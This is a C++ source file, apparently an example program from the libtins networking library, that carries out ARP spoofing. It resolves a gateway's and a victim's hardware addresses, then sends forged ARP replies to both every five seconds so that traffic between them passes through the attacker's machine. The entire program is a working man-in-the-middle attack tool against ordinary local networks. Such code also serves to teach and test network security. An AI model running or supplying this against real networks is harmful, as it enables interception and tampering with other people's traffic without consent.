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/*
* Copyright (c) 2017, Matias Fontanini
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <iostream>
#include <string>
#include <stdexcept>
#include <cstdlib>
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#else
#include <unistd.h>
#endif // _WIN32
#include <tins/arp.h>
#include <tins/network_interface.h>
#include <tins/utils.h>
#include <tins/ethernetII.h>
#include <tins/packet_sender.h>
using std::cout;
using std::runtime_error;
using std::endl;
using namespace Tins;
void do_arp_spoofing(NetworkInterface iface,
IPv4Address gw,
IPv4Address victim,
const NetworkInterface::Info& info) {
PacketSender sender;
EthernetII::address_type gw_hw, victim_hw;
// Resolves gateway's hardware address.
gw_hw = Utils::resolve_hwaddr(iface, gw, sender);
// Resolves victim's hardware address.
victim_hw = Utils::resolve_hwaddr(iface, victim, sender);
// Print out the hw addresses we're using.
cout << " Using gateway hw address: " << gw_hw << "\n";
cout << " Using victim hw address: " << victim_hw << "\n";
cout << " Using own hw address: " << info.hw_addr << "\n";
/* We tell the gateway that the victim is at out hw address,
* and tell the victim that the gateway is at out hw address */
ARP gw_arp(gw, victim, gw_hw, info.hw_addr),
victim_arp(victim, gw, victim_hw, info.hw_addr);
// We are "replying" ARP requests
gw_arp.opcode(ARP::REPLY);
victim_arp.opcode(ARP::REPLY);
/* The packet we'll send to the gateway and victim.
* We include our hw address as the source address
* in ethernet layer, to avoid possible packet dropping
* performed by any routers. */
EthernetII to_gw = EthernetII(gw_hw, info.hw_addr) / gw_arp;
EthernetII to_victim = EthernetII(victim_hw, info.hw_addr) / victim_arp;
while (true) {
// Just send them once every 5 seconds.
sender.send(to_gw, iface);
sender.send(to_victim, iface);
#ifdef _WIN32
Sleep(5000);
#else
sleep(5);
#endif
}
}
int main(int argc, char* argv[]) {
if (argc != 3) {
cout << "Usage: " <<* argv << " <Gateway> <Victim>" << endl;
return 1;
}
IPv4Address gw, victim;
EthernetII::address_type own_hw;
try {
// Convert dotted-notation ip addresses to integer.
gw = argv[1];
victim = argv[2];
}
catch (...) {
cout << "Invalid ip found...\n";
return 2;
}
NetworkInterface iface;
NetworkInterface::Info info;
try {
// Get the interface which will be the gateway for our requests.
iface = gw;
// Lookup the interface id. This will be required while forging packets.
// Find the interface hardware and ip address.
info = iface.addresses();
}
catch (runtime_error& ex) {
cout << ex.what() << endl;
return 3;
}
try {
do_arp_spoofing(iface, gw, victim, info);
}
catch (runtime_error& ex) {
cout << "Runtime error: " << ex.what() << endl;
return 7;
}
}
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